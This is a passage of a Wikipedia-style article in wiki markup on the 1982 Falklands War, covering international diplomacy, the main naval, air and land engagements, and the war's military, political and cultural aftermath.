[[Prince Andrew, Duke of York|Prince Andrew]] served as a [[Westland Sea King|Sea King]] helicopter pilot in HMS ''Invincible'' during the war, flying anti-submarine patrols. His helicopter was equipped with a [[Marconi Searchwater]] radar and acted as an improvised [[Airborne Early Warning]] platform, which would have been a valuable target. He also flew missions as an [[Exocet]] missile decoy - as he revealed in an apparently inadvertant admission shortly afterwards.

The British called their counter-invasion [[Operation Corporate]]. When this task force sailed from Britain the American news magazine ''[[Newsweek]]'' cover headline proclaimed &quot;The Empire Strikes Back!&quot; (in reference to the [[The Empire Strikes Back|Star Wars movie]])

Although the public mood in the UK was in support of an attempt to reclaim the islands, international opinion was much more divided. To some, Britain was a former [[colonialism|colonial]] power, seeking to reclaim a colony from a local power, and this was a message that the Argentinians initially used to garner support. Others supported Britain as a stable [[democracy]] invaded by a military dictatorship. British diplomacy centred on arguing that the Falkland Islanders were entitled to use the [[UN]] principle of self-determination and an apparent willingness to compromise. The UN [[Secretary-General of the United Nations|Secretary-General]] said that he was amazed at the compromise that the UK had offered. Nevertheless, Argentina rejected it, basing their arguments on rights to territory based on actions before 1945 and the creation of the UN. Many UN members realised that if territorial claims this old could be resurrected, and invasions of territory allowed unchallenged, then their own borders were not safe. So on [[April 3]] the [[UN Security Council]] passed Resolution 502, calling for the withdrawal of Argentine troops from the islands and the cessation of hostilities. On [[April 10]] the [[European Community|EEC]] approved trade sanctions against Argentina. President [[Ronald Reagan]] and the U.S. administration did not issue direct diplomatic condemnations, instead providing intelligence support to the British military.

===Shuttle diplomacy and U.S. involvement===
Legally, the United States had military treaty obligations to both parties in the war, bound to the UK as a member of [[North Atlantic Treaty Organization|NATO]] and to Argentina by the [[Inter-American Treaty of Reciprocal Assistance]] (the &quot;Rio Pact&quot;). However, the [[North Atlantic Treaty]] only obliges the signatories to support if the attack occurs in Europe or North America above the [[Tropic of Cancer]]. The Rio Pact only obliges the US to intervene if one of the adherants to the treaty is attacked - the UK never attacked Argentina, only Argentine forces on British territory. In March, [[United States Secretary of State|Secretary of State]] [[Alexander Haig]] directed the U.S. Ambassador to Argentina to warn the Argentine government away from any invasion. President [[Ronald Reagan]] requested assurances from Galtieri against an invasion and offered the services of his Vice President, [[George H. W. Bush]], as mediator, but was refused.

In fact, the [[Reagan Administration]] was sharply divided on the issue. Meeting on [[5 April]], Haig and Assistant Secretary of State for Political Affairs [[Lawrence Eagleburger]] favored decisive backing of Britain, concerned that equivocation would undermine the NATO alliance. Assistant Secretary of State for Inter-American Affairs Thomas Enders, however, feared that supporting Britain would undermine U.S. [[anti-communism|anti-communist]] efforts in Latin America. He received the firm backing of [[United States Ambassadors to the United Nations|U.N. Ambassador]] [[Jeane Kirkpatrick]], Haig's nominal subordinate and political rival.

The [[White House]] continued its [[neutrality]]; Reagan famously declared at the time that he could not understand why two allies were arguing over &quot;That little ice-cold bunch of land down there&quot;. But he assented to Haig and [[United States Secretary of Defense|Secretary of Defense]] [[Caspar Weinberger]]'s position. Haig briefly ([[April 8]]&amp;ndash;[[April 30]]) headed a &quot;shuttle diplomacy&quot; mission between London and Buenos Aires, but at the end of the month Reagan blamed Argentina for the failure of the mediation, declared U.S. support for Britain, and announced the imposition of economic sanctions against Argentina.

In an infamous episode in June, Kirkpatrick cast a second veto of a [[United Nations Security Council|UN Security Council]] resolution calling for an immediate cease-fire, then announced minutes later that she had received instructions to abstain. The situation was blamed on a delay in communications, but perceived by many as part of an ongoing power struggle between Haig and Kirkpatrick.

Galtieri likely did not think that the UK would react; otherwise, it is doubtful that Argentina would have launched the attack. Of course, this would have been astounding to British people at the time, already familiar with [[Margaret Thatcher]]'s uncompromising style of government. She declared that the democratic rights of the Falkland Islanders had been assaulted, and would not surrender the islands to the Argentine jackboot. This stance was aided, at least domestically, by the staunchly loyalist British press, especially ''[[The Sun (newspaper)|The Sun]]'', which ran such headlines as 'GOTCHA' (following the sinking of the ''General Belgrano''). ''[[The Daily Mirror]]'', on the other hand, vehemently opposed the war, attacking their tabloid rival ''The Sun'', and claiming it would &quot;damage your mind&quot;.

A U.S. fear over the perceived threat of the [[USSR|Soviet Union]] and [[communism|the spread of communism]], along with the certainty that Britain could handle the matter on its own may have factored into this view as well, although assessments of this theory vary. In the context of the [[Cold War]], with the performance of UK forces being watched closely by the Soviet Union, it was preferable for the UK to handle, without assistance, a conflict which was minor in scale compared to an all-out [[NATO]] vs. [[Warsaw Pact]] war. Regardless, American non-interference was vital to the U.S.-British relationship. [[Ascension Island]], a UK possession, was on lease to the Americans, and the British needed to resume its use as a relay point and air base. The most decisive American contribution was [[AIM-9 Sidewinder]] missiles of the latest L model (these missiles were much more deadly than older models of the Sidewinder due to their [[all-aspect|all aspect]] capability), spy satellites and intelligence information. [[Margaret Thatcher]] stated that &quot;without the Harrier jets and their immense manoeuvrability, equipped as they were with the latest version of the Sidewinder missile, supplied to us by U.S. Defence Minister Caspar Weinberger, we could never have got back the Falklands.&quot;

There were also rumours, later expanded upon by Weinberger, which spoke of lending an aircraft carrier, although this was not public knowledge at the time. It is worth noting that both Weinberger and Reagan would go on to receive honorary knighthoods, the honour of [[Order of the British Empire|Knight Commander of the Most Excellent Order of the British Empire]], from [[Elizabeth II of the United Kingdom|Queen Elizabeth II]]. American critics of the U.S. role claimed that, by failing to side with Argentina, the U.S. violated its own [[Monroe Doctrine]], ignoring the pre-Monroe Doctrine British settlement.

In September 2001, [[Mexico|Mexican]] president [[Vicente Fox]] would cite the conflict as proof of the failure of the [[Inter-American Treaty of Reciprocal Assistance]], even though Argentina in this case was the aggressor, while the treaty provides for mutual defense and not mutual offense.

===French involvement===
French president [[François Mitterrand]] gave full support to the UK in the Falklands war. 
As a large part of Argentina's military equipment was French-made, French support was crucial. France provided aircraft, identical to the ones it supplied to Argentina, for British pilots to train against. France provided intelligence to help sabotage the [[Exocet]] missiles it sold to Argentina. 
In her memoirs [[Margaret Thatcher]] says of Mitterrand that &quot;I never forgot the debt we owed him for his personal support...throughout the Falklands crisis&quot;. Sir [[John Nott]], who was [[Secretary of State for Defence]] during the conflict later acknowledged: &quot;In so many ways Mitterrand and the French were our greatest allies&quot;. [http://www.telegraph.co.uk/news/main.jhtml?xml=%2Fnews%2F2002%2F03%2F13%2Fnot13.xml]

In 2005, a new book on the life of Mitterrand gave a different account of French cooperation, quoting him as saying - &quot;I had a difference to settle with the Iron Lady. That Thatcher, what an impossible woman!&quot;. &quot;With her four nuclear submarines in the south Atlantic, she's threatening to unleash an atomic weapon against Argentina if I don't provide her with the secret codes that will make the missiles we sold the Argentinians deaf and blind.&quot; {{citationneeded}} However there is no evidence for the claim.

The effects of France's actions during the war have contributed to Argentina's shift toward American sources for combat aircraft and upgrades (e.g. the [[A-4AR Fightinghawk]], a refurbished [[A-4 Skyhawk]]).  The country's national aeronautical manufacturing company [[Lockheed Martin Aircraft Argentina SA|FMA]] (Fábrica Militar de Aviones) is now owned by Lockheed-Martin.

Since the end of the war, Latin America has consistently purchased more American and Russian aircraft than French.  The last major French combat aircraft sale in Latin America was [[Mirage 2000]]s for [[Peru]] in the late 1980s.

===Latin American support===
In spite of receiving the comprension and affection of all the [[Latin America]]n countries (with the exception of [[Chile]]), [[Peru]] (Peruvian president Belaunde announced that his country was &quot;ready to support Argentina with all the resources it needed.&quot;) and [[Venezuela]] were the only countries that provided military assistance in the form of critical aircraft supplies like long range air fuel tanks. Countries like [[Cuba]] and [[Bolivia]] also offered ground troops but their offers were seen as political [[propaganda]] and not accepted. When the war was over, Argentina received  [[Dassault Mirage III|Mirage 5P]] fighter planes from the [[Peruvian Air Force]] and [[Aermacchi MB-326]] and [[Embraer Bandeirante]]s from the [[Brazilian Air Force]]. 

Neighboring [[Chile]], under [[Pinochet]]'s regime, became the only [[Latin America|Latin American]] country to aid Britain by providing important logistical support during the war.

==War==
By mid-April the [[Royal Air Force]] had set up an airbase at Wideawake on the mid-Atlantic island of Ascension, including a sizable force of [[Avro Vulcan|Vulcan]] bombers, [[Handley Page Victor|Victor]] refuelling aircraft, and [[F-4 Phantom]] fighters to protect them. Meanwhile the main British naval task force arrived at Ascension to prepare for war. However a small force had already been sent south to re-capture South Georgia.

===Recapture of South Georgia===
The South Georgia force, ''[[Operation Paraquet]]'', under the command of Major [[Guy Sheridan]] RM, consisted of marines from 42 Commando, a troop of [[Special Air Service]] (''SAS'') and [[Special Boat Service]] (''SBS'') troops who were intended to land [[reconnaissance]] forces for an invasion by the [[Royal Marines]] embarked on [[RFA Tidespring|RFA ''Tidespring'']]. First to arrive was the [[Churchill class submarine|''Churchill'' class submarine]] [[HMS Conqueror (S48)|HMS ''Conqueror'']] on the 19th, and the island was over-flown by a radar-mapping [[Handley Page Victor]] on the 20th. The first landings of SAS troops took place on the 21st, but the weather was so bad that their landings and others made the next day were all withdrawn after several helicopters crashed in fog on [[Fortuna Glacier]].

On the 23rd a submarine alert was sounded and operations were halted, with the ''Tidespring'' being withdrawn to deeper water to avoid interception. On the 24th the British forces regrouped and headed in to attack the submarine, the [[ARA Santa Fe|ARA ''Santa Fe'']], locating it on the 25th and damaging it enough that the crew decided to abandon it. With the ''Tidespring'' now far out to sea and an additional defending force of the submarine's crew now landed, Major Sheridan decided to gather the 75 men he had and make a direct assault that day. After a short forced march the Argentine forces surrendered, making it official the next day. The British Prime Minister, [[Margaret Thatcher]], broke the news to the media telling them to &quot;Just rejoice at that news!&quot;{{fn|1}}.

===The Black Buck Raids===
[[Image:Vulcan.planview.640pix.jpg|thumb|250px|An Avro Vulcan, as used for the Black Buck raids]]
On [[May 1]], operations against the Falklands opened with the ''[[Operation Black Buck|Black Buck 1]]'' attack by RAF [[Avro Vulcan]] [[V bomber]]s on the [[airfield]] at Stanley. The Vulcan had originally been designed for medium-range stand-off nuclear missions in Europe and did not have the range to fly to the Falklands, requiring several in-flight refuelling missions. The RAF's tanker planes were mostly converted Victors with similar range, so they too had to be refuelled in the air. Thus, a total force of 11 tankers were required for only two Vulcans, a massive [[logistics|logistical]] effort. In the end only a single bomb hit the runway at Stanley, but the [[Argentine Air Force]] ('''FAA''') realized that the British were likewise capable of hitting targets on the mainland, and immediately moved back all jet fighters in order to protect against this possibility. The attack was therefore a strategic success, hampering Argentine efforts at close air support, reducing the effective loiter time of incoming Argentine aircraft, and compelling them to overfly British forces in any attempt to attack the islands.

Nonetheless, whilst Argentine fighters were no longer stationed at the airfield, it was never down and remained strongly used by continuous [[Hercules C-130]] flights until the end of the conflict. The transports continued to fly into [[Stanley, Falkland Islands|Stanley]] by night, bringing supplies, weapons, vehicles, and fuel into the Falklands and airlifting out the wounded. Argentine air transports continued to slip past the British through the last night of the war.

Only minutes after Black Buck, nine [[BAE Sea Harrier|Sea Harriers]] from the ''Hermes'' followed up the raid by dropping [[cluster bomb]]s on Stanley and the smaller grass airstrip at Goose Green. Both missions scored aircraft kills on the ground, as well as causing some damage to the airfield infrastructure. The aircraft had taken off from the deck of HMS ''Invincible'', and although attached BBC reporter [[Brian Hanrahan]] was forbidden to divulge the number of planes involved, he came up with the memorable phrase &quot;I counted them all out and I counted them all back&quot;.

Meanwhile the FAA had already launched an attack of their own with Grupo 6 (flying [[IAI Dagger]] Aircraft), on information that landings had already taken place. Four of these planes were lost to Sea Harriers operating from ''Invincible'', while combat broke out between other Harriers and [[Dassault Mirage III|Mirage]] fighters of Grupo 8. Both sides refused to fight at the other's best altitude, until the Mirages finally descended to engage. One was shot down, and another was damaged and made for Stanley, where it fell victim to friendly fire from the Argentine defenders.

===Sinking of the Belgrano===
[[Image:The Sun Gotcha.jpg|left|thumb|'''Gotcha''' headline]]
[[Image:ARA Belgrano sinking.jpg|right|thumb|250px|The ARA ''General Belgrano'' sinks]]
On [[May 2]] the [[World War II]]-vintage Argentine light cruiser [[ARA General Belgrano|ARA ''General Belgrano'']] &amp;mdash; formerly the [[USS Phoenix (CL-46)]], a survivor of the 1941 [[Pearl Harbor]] attacks &amp;mdash; was sunk by [[HMS Conqueror (S48)|HMS ''Conqueror'']], using WWII vintage design [[List of torpedoes|Mk 8 mod 4]] [[torpedo]]es. 321 lives were lost, although initial casualty reports were confused. The British newspaper ''[[The Sun (newspaper)|The Sun]]'' famously greeted the initial reports of the attack (and the sinking of a small torpedo boat) with the headline '''GOTCHA'''. The edition was first published before news that the ship has actually sunk was known and carried no reports of actual Argentine deaths, it was followed by the more temperate &quot;Did 1,200 Argies drown?&quot;. The nuclear-powered ''Conqueror'' was captained by Commander Christopher Wreford-Brown. The loss of ''General Belgrano'' hardened the stance of the Argentine government and also became a [[cause celebre]] for anti-war campaigners (such as Labour MP [[Tam Dalyell]]), who declared that the ship had been sailing away from the Falklands at the time. The vessel was inarguably outside the exclusion zone, and sailing away from the area of conflict. However, during war, under international law, the heading of a [[belligerent]] naval vessel has no bearing on its status. In later years it has been revealed that the information on the position of the ''ARA General Belgrano'' came from a Soviet spy satellite which was tapped by the Norwegian intelligence service station at Fauske in Norway, and then handed over to the British.  

The sinking occurred 14 hours after [[List of Presidents of Peru|Constitutional President of the Republic of Peru]] [[Fernando Belaúnde Terry]], had proposed a comprehensive peace plan. At the time, and in response to [[Chile]]'s support of Britain, Belaúnde called for regional unity.

Regardless of controversies over the sinking, it had an important strategic effect. After the loss of ''General Belgrano'', the entire Argentine fleet returned to port and did not leave again for the duration of hostilities. The two destroyers supporting ''General Belgrano'' and the task force built around the aircraft carrier ARA ''Veinticinco de Mayo'' both withdrew from the area, ending the direct threat to the British fleet that their pincer movement had represented. The attack on ''General Belgrano'' was the second time since the end of [[World War II]] that a submarine had fired [[torpedo]]es in wartime and the only time that a nuclear powered submarine has done so.

In [[2005]], [[the Times]] newspaper reported that the British [[historian]] [[Sir Lawrence Freedman]] stated in the second volume of his ''Official History of the Falklands'', his latest work on the Falklands, that intelligence about the Belgrano did not reach senior British commanders and politicians until it was too late. [http://www.timesonline.co.uk/newspaper/0,,170-1670775,00.html] Commander Christopher Wreford-Brown, commanding officer of HMS Conqueror, informed the [[Admiralty]] that the Argentine cruiser had changed course four hours before he attacked the cruiser, but this information was not passed to the [[Ministry of Defence (United Kingdom)|MoD]] or [[Sandy Woodward|Rear-Admiral John &quot;Sandy&quot; Woodward]] (commander of the RN task force). Thus it appears that neither Margaret Thatcher nor the Cabinet were aware of the Belgrano's change of course before the cruiser was sunk.

===Sinking of HMS ''Sheffield''===
[[Image:Super-Etendard 1.jpg|200px|thumb|right|An Argentine [[Dassault Super Étendard]] that attacked the ''Sheffield'']]&lt;!-- Unsourced image removed: [[Image:sheffield_onfire.jpg|right|framed|HMS Sheffield on fire]]  --&gt;
Two days after the ''General Belgrano'' sinking, on [[May 4]], the British lost the [[Type 42]] destroyer [[HMS Sheffield (D80)|HMS ''Sheffield'']] to fire following an [[Exocet missile]] strike. ''Sheffield'' had been ordered forward with two other Type 42s in order to provide a radar and missile &quot;picket&quot; far from the British carriers.  After the ships were detected by an Argentine Navy ('''ARA''') [[P-2 Neptune]] patrol aircraft, two ARA [[Dassault Super Étendard]]s were launched, each armed with a single Exocet. Refuelled by a [[C-130 Hercules]] shortly after launch, they went in at low altitude, popped up for a radar check and released the missiles from 20 to 30 miles (30 to 50 km) away. One missed [[HMS Yarmouth (F101)|HMS ''Yarmouth'']], due to her deployment of [[chaff]], but the other hit the ''Sheffield''. The weapon struck with devastating effect, hitting the centre of the ship and starting raging fires which quickly spread, killing 22 sailors and severely injuring 24 others. While fighting the fire, ''Yarmouth'' fired anti-submarine weaponry in response to a possible Argentine submarine attack.

''Sheffield'' was abandoned several hours later, gutted and deformed by her still-burning fires which lingered on for six more days. She finally sank outside the Exclusion Zone on [[May 10]], whilst under tow from the ''Yarmouth'', becoming an official [[war grave]]. Meanwhile the other Type 42s were withdrawn from their precarious position, leaving the British task force open to attack.

The tempo of operations increased throughout the second half of May. UN attempts to mediate a peace were rejected by the British, who felt that any delay would make a campaign impractical in the South Atlantic storms. The destruction of ''Sheffield'' had a profound impact on the British public, bringing home the fact that the &quot;Falklands Crisis&quot;, as the BBC News put it, was now an actual shooting war.

===Landing at Port San Carlos===
[[Image:Falkland island san carlos landing.png|thumb|right|250px|San Carlos landing sites]]
[[Image:Falklandsmap san carlos landings.png|thumb|left|150px|Context of landings in the Falklands]]

During the night of [[May 21]] the British made an amphibious landing on beaches near San Carlos Water, on the northern coast of East Falkland, putting the 4000 men of 3 Commando Brigade, including 2nd and 3rd battalions of the Parachute Regiment (2 and 3 Para), ashore from the amphibious ships and the liner Canberra: 2 Para and 40 Commando landing at San Carlos beach; 45 Commando at Ajax bay; 3 Para at [[Port San Carlos]]. By dawn the next day they had established a secure bridgehead from which to conduct offensive operations. From there Brigadier Thompson's plan was to capture Darwin and [[Goose Green]] before turning towards Stanley.

At sea the paucity of British ships' anti-aircraft defences was demonstrated in the sinking of [[HMS Ardent (F184)|HMS ''Ardent'']] on the 21st, [[HMS Antelope (F170)|HMS ''Antelope'']] on the 23rd, and [[MV Atlantic Conveyor|MV ''Atlantic Conveyor'']], with a vital cargo of [[helicopter]]s, runway building equipment and tents on the 25th. The loss of all but one of the Chinook Helicopters being carried by the Atlantic Conveyor was a severe blow from a logistics perspective; the sole surviving [[Chinook]] was called Bravo November. Also lost on this day was [[HMS Coventry (D118)|HMS ''Coventry'']], a sister to [[HMS Sheffield (D80)|HMS ''Sheffield'']], whilst in company with [[HMS Broadsword (F88)|HMS ''Broadsword'']]. [[HMS Argonaut (F56)|HMS ''Argonaut'']] and [[HMS Brilliant (F90)|HMS ''Brilliant'']] were badly damaged. However many British ships escaped terminal damage due to the Argentine pilots' bombing tactics. The topography of San Carlos Water dictated that the pilots were forced to swoop in and launch their bombs from a low altitude at the very last moment. While undoubtedly brave, the late releasing of bombs meant that many never exploded, as there was insufficient time in the air for them to arm themselves. The Argentines lost near twenty aircraft in these attacks, including several [[FMA IA 58 Pucará|Pucarás]]. 

===Goose Green===
{{main|Battle of Goose Green}}
Starting early on [[May 27]] and through [[May 28]], 2 Para approached and attacked Darwin and Goose Green, which was held by the Argentine 12th Inf Regt. After a tough struggle, which lasted all night and into the next day, seventeen British and 55 Argentine soldiers had been killed, and 1,050 Argentine troops taken prisoner. Due to a gaffe by the [[BBC]], the taking of Goose Green was announced on the [[BBC World Service]] before it had actually happened. It was during this attack that Lt Col [[H. Jones]], the commanding officer of 2 Para was killed. He was posthumously awarded the [[Victoria Cross]].

[[Image:Falkland island after goose green.png|thumb|250px|right|East Falkland showing San Carlos bridgehead, Teal Inlet, Mt. Kent and Mt Challenger]]

With the sizeable Argentine force at Goose Green out of the way, British forces were now able to break out of the San Carlos bridgehead. From [[27 May]] men of 45 Cdo and 3 Para started walking across East Falkland towards the coastal settlement of Teal Inlet.  Meanwhile 42 Cdo prepared to move by helicopter to Mount Kent.  For the next week the SAS and Mountain &amp; Arctic Warfare Cadre (the Special Forces unit of 3 Commando Brigade) waged intense patrol battles with reconnaissance patrols of the 602nd Commando Company.  An example was a patrol battle of nineteen men of the Cadre, commanded by Captain Rod Boswell, on the lower slopes of Mount Simon.  Late in the afternoon of [[30 May]] a four-man patrol spotted thirteen Commandos approach a remote farm building, Top Malo House.  The Cadre's commander, Captain Boswell, was ordered to muster his patrols and mount an assault on the farmhouse.  He initially intended to fly in at night and then strike at dawn.  Luck was not with the Cadre and its Sea King helicopter failed to arrive on time.  An hour late, the nineteen Marines began their 45 kilometere low level flight to the drop off point in a gully, only some 1,000 metres from the farmhouse.  At 9:00 AM the assault team comprising 12 Marines approached the house and were engaged with a Magnum sniper rifle from the top floor.  A firefight which lasted for 45 minutes ensued between the Cadre and the Commandos.  With ammunitions running low and two-thirds of the patrol killed or wounded the Argentines elected to surrender. It is estimated that 40 Argentine Commandos were involved in the battle with the SAS and the Cadre.  A body count revealed five Argentine dead.  Seven members of the British Special Forces were wounded during the actions.  One SBS sergeant was killed as the Mount Kent ranges were secured for the arrival of the British battalions.

By [[June 1]], with the arrival of a further 5,000 British troops of 5 Inf Brigade landed at [[San Carlos]] from [[RMS Canberra|''Canberra'']], ''[[Norland]]'' and ''Stromness'' having transferred from the liner [[RMS Queen Elizabeth 2|''QE2'']] at [[South Georgia]], new British divisional commander, Major General [[JJ Moore]] RM, had sufficient force to start planning an offensive against [[Stanley, Falkland Islands|Stanley]].

During this build-up the Argentine air assaults on the British naval forces continued, killing 48, including 32 [[Welsh Guards]]men on the [[RFA Sir Galahad (1966)|RFA ''Sir Galahad'']] and the [[RFA Sir Tristram|RFA ''Sir Tristram'']] on [[June 8]]. Many others suffered serious burns (including, famously, [[Simon Weston]]). These troops were still on the ships because of the loss of the helicopters on the ''Atlantic Conveyor''. This meant that they had had to be transferred around the islands by ship. Unfortunately, the commanders of the [[landing force]] ignored the advice of naval commanders to disembark at the earliest opportunity.

===Battle for Stanley===
On the night of [[11 June]], after several days of painstaking reconnaissance and logistic build-up, British forces launched a brigade-sized night attack against the heavily defended ring of high ground surrounding Stanley. Units of 3 Commando Brigade, supported by naval gunfire from several Royal Navy ships, simultaneously assaulted [[Battle of Mount Harriet|Mount Harriet]], [[Battle of Two Sisters|Two Sisters]], and [[Battle of Mount Longdon|Mount Longdon]]. During this battle thirteen were killed when [[HMS Glamorgan|HMS ''Glamorgan'']], which was providing naval gunfire support, was struck by an Exocet fired from the back of a truck, further displaying the vulnerability of ships to anti-ship missiles. On this day Sgt [[Ian McKay]] of 4 Platoon, B Company, 3 Para died in a grenade attack on an Argentine bunker which was to earn him a posthumous [[Victoria Cross]]. After a night of fierce fighting all objectives were secured.

The night of [[June 13]], saw the start of the second phase of attacks, in which the momentum of the initial assault was maintained. 2 Para captured [[Battle of Wireless Ridge|Wireless Ridge]], and the 2nd battalion, [[Scots Guards (1946)|Scots Guards]] captured [[Battle of Mount Tumbledown|Mount Tumbledown]]. As the fighting was coming to a close the Falklands Islanders on the eastern edge of Stanley were in imminent danger of being shot at by a platoon of a 3rd Infantry Regiment company as the conscripts and regulars steeled themselves for the final house-to-house battle near Government House. This is revealed in the book ''The Battle For The Falklands'' by [[Max Hastings]] and [[Simon Jenkins]]. Brigadier-General Oscar Jofre, Commander of the elite 10th Argentine Mechanized Infantry Brigade, has admitted that the abrupt end of the ground fighting was hastened by fear of war crimes against the civilians.

On [[June 14]] the commander of the Argentine garrison in Stanley, Mario Menendez, surrendered to Major General [[JJ Moore]] [[Royal Marines]]. 9800 Argentine troops were made [[POW]]s and were repatriated to Argentina on the liner Canberra. On [[June 20]] the British retook the [[Southern Thule|South Sandwich Islands]], (which involved accepting the surrender of the [[Southern Thule]] Garrison at the ''[[Corbeta Uruguay]]'' base) and declared the hostilities were at an end.

The war lasted 74 days, with 255 British and 655 Argentine soldiers, sailors, and airmen, killed.

==Analysis==
===Military===
Militarily, the Falklands War was important for a number of reasons.
[[Image:1982FI00201.jpg|right|thumb|200px|British propaganda leaflet intended for Argentine soldiers dropped during the Falkland Islands War. Titled &quot;Islands of the Condemned&quot;, it warns Argentine naval ships and aircraft not to enter the [[Falkland Islands]] exclusion zone.]]

It was one of the few major naval battles so far to have occurred after the end of [[World War II]]. As such this conflict illustrated the vulnerability of surface ships to anti-ship missiles and reaffirmed the effectiveness of aircraft in naval warfare. The viability of stealth (in the form of submarines) again proved its usefulness, much as it did during World War II and the Cold War.

Neither side achieved total air supremacy, but the power of air forces during a conflict like this proved invaluable, due to the isolated, rough landscape of the Falklands. Air strikes were staged against ground, sea and air targets on both sides and often with clear results. All of the UK losses at sea were achieved by aircraft or missile strikes (by both the [[Argentine Air Force]] and [[Argentine Navy|Naval Aviation]]). The French [[Exocet missile]] proved its lethality in [[air-to-surface missile|air-to-surface]] operations.

''See also main article [[Air forces in the Falklands War]]''.

It vindicated the UK decision to develop the [[VTOL]] Harrier aircraft, that showed its capability of operating from forward bases with no runways. At sea it demonstrated the domination of airpower in major engagements and the usefulness of carriers.

The logistic capability of the UK armed forces was stretched to the absolute limit in order to mount an amphibious operation so far from a home-base, onto mountainous islands which have few roads. After the war much work was done to improve both the logistic and amphibious capability of the Royal Navy.

The role of special forces units, which destroyed many Argentine aircraft, and carried out intelligence gathering operations, was reaffirmed.

The usefulness of helicopters in combat, logistic, and [[casevac]] operations was reaffirmed.

At sea, some shortcomings of warship design were made apparent, particularly the danger of using [[aluminium]] in ships (although it did not catch fire, it melted in the heat). [[Nylon]] was shown to be a poor choice of fabric in uniforms, as it is more flammable than cotton and also melts with heat, sticking the incendiary fabric to the skin and causing avoidable casualties.

===Political===
The Falklands War illustrates the role of political miscalculation and miscommunication in creating war. Both sides seriously underestimated the importance of the Falklands to the other. The Falklands War illustrates the role of chance in determining what happens in a war. Some commentators believe that the war could have ended in an Argentine victory if one of the Exocets had hit an aircraft carrier, or if the frequent unexploded bombs had detonated on striking some of the ships (75% of the British task force was damaged or sunk), or if Argentina had attacked the British artillery, using the three paratroop regiments already deployed at [[Comodoro Rivadavia]]. Equally, if the Argentines had made better preparations to hold the islands, they might have been able to do so, but they did not expect that the British would attempt to carry out a war 6000 miles (10&amp;nbsp;000 km) from home. Either way, an Argentine victory may have been an unacceptable show of weakness on the part of the UK during an intense period of the [[Cold War]], and as a result some have doubted that such an outcome would have been allowed to remain for long. With the UK being an integral U.S. ally and important part of [[NATO]], to permit a loss would have been a signal to the [[USSR]] that the NATO alliance was militarily and politically weak.

&lt;!-- Image with unknown copyright status removed: [[Image:MargaretThatcher.jpg|frame|right|Margaret Thatcher, British Prime Minister during the Falklands War]] --&gt;
The war cost the UK 255 men, six ships (10 others were very badly damaged), thirty-four aircraft, and more than £1.6 billion, but the campaign was considered a great victory for the United Kingdom. The war provided a substantial boost to the popularity of Margaret Thatcher and played a role in ensuring her [[United Kingdom general election, 1983|re-election in 1983]]. Several members of her government resigned, including the former [[Secretary of State for Foreign and Commonwealth Affairs|Foreign Secretary]] [[Peter Carington, 6th Baron Carrington|Lord Carrington]]. It has also been said by diplomats that following the British victory there was an increase in international respect for Britain, formerly regarded as a fading colonial power. As mentioned earlier, the victory was not overlooked by the USSR, who increased troop levels facing the British Army of the Rhine soon after, and was an important junction in the Cold War.

However, it is believed that with the renewed confidence gained from the victory, Margaret Thatcher suggested in her September 1982 China visit an extension of the British rule of the New Territories in [[Hong Kong]], which was to legally end in [[1997]] with the expiry of the 99-year lease ([[Beijing]] never actually recognized any of the 19th century treaties over Hong Kong). 

She was famously threatened during a meeting with then Chinese leader [[Deng Xiaoping]] with comments such as &quot;China is no Argentina,&quot; and &quot;We can order troops into Hong Kong this afternoon.&quot; Formal discussions of British withdrawal from the territory started after this Beijing visit and Hong Kong was [[Transfer of the sovereignty of Hong Kong|returned to China]] on [[July 1]] [[1997]].

However, on the day of the handover of Hong Kong, former British Foreign Secretary [[Douglas Hurd]] remarked to Argentine Foreign Minister [[Guido di Tella]]; &quot;I know what you're thinking, but you will never see this happen in Port Stanley.&quot; 

On the other hand, the Argentine military government was ousted after mounting protests by human rights and war veterans groups. Galtieri was forced to resign, paving the way for the restoration of democracy. Elections were held on [[October 30]], [[1983]] and [[Raúl Alfonsín]], the [[Radical Civic Union]] (UCR) party candidate, took office on [[December 10]], 1983. Alfonsín defeated [[Italo Luder]], the candidate for the [[Justicialist Party]] ([[Peronist]] movement).

===Weapon export controls===
The [[Coordinating Committee for Multilateral Export Controls]] (COCOM) failed to anticipate a conflict between Argentina and the UK when approving weapon export to Argentina.

===Medical===
During the operations, several wounded British soldiers had to spend hours in the cold before receiving medical aid; famously, no British soldiers evacuated to medical aid stations died. Many recovered beyond what medicine of the time thought possible, and subsequent theories have suggested that this was due to the extreme cold (similar anecdotal tales had originated during the bitter winter fighting of the [[Korean War]]).

==Impact in Argentina==
The Argentine loss of the War led to ever-larger protests against the military regime and is credited with giving the final push to drive out the [[Proceso de Reorganización Nacional|military government]] that had overthrown [[Isabel Perón]] in [[1976]] and participated in the crimes of the  [[Dirty War]]. Democracy returned to Argentina in [[1983]].

The famous writer [[Jorge Luis Borges]], himself partly of British descent and bilingual from birth in Spanish and English, wrote in [[1985 in literature|1985]] a short poem ([http://www.uoregon.edu/~caguirre/juanlopez.html ''Juan López y John Ward'']) about two fictional soldiers (one of each side) that died in the Falklands, which he refers to as &quot;islands that were too famous&quot;.

Among the latest Argentine productions about the war is the [[2005 in film|2005 film]] ''[[Iluminados por el Fuego]]'' (&quot;Enlightened by Fire&quot;) [http://www.imdb.com/title/tt0288569/], directed by [[Tristán Bauer]] and starred by [[Gastón Pauls]], which received a [[Donostia-San Sebastian International Film Festival|San Sebastián Festival]] special award. The film tells about a veteran's memories, re-awakened after he learns of the suicide of a former soldier comrade.

==Cultural impact in the UK==
The war provided a wealth of material for writers, and many dozens of books came from it; in the UK the definitive account became [[Max Hastings]] and [[Simon Jenkins]]' ''[[The Battle for the Falklands]]''. Other titles focused on the [[BAE Sea Harrier|Sea Harrier]] (Sharkey Ward's ''[[Sea Harrier over the Falklands]]''), the land battles leading up to the Argentine surrender (Christian Jennings and Adrian Weale's ''[[Green Eyed Boys]]''), and the general experience of battle ([[Ken Lukowiak]]'s ''[[A Soldier's Song]]''). [[Jack Higgins]]' thriller ''[[Exocet]]'' dealt with one of the war's most famous &quot;buzz-words&quot;; for many years afterwards, &quot;Exocet&quot; became synonymous with &quot;rocket&quot; in the UK (&quot;[[Yomp]]&quot; and &quot;[[Task force|Task Force]]&quot; also entered the language).

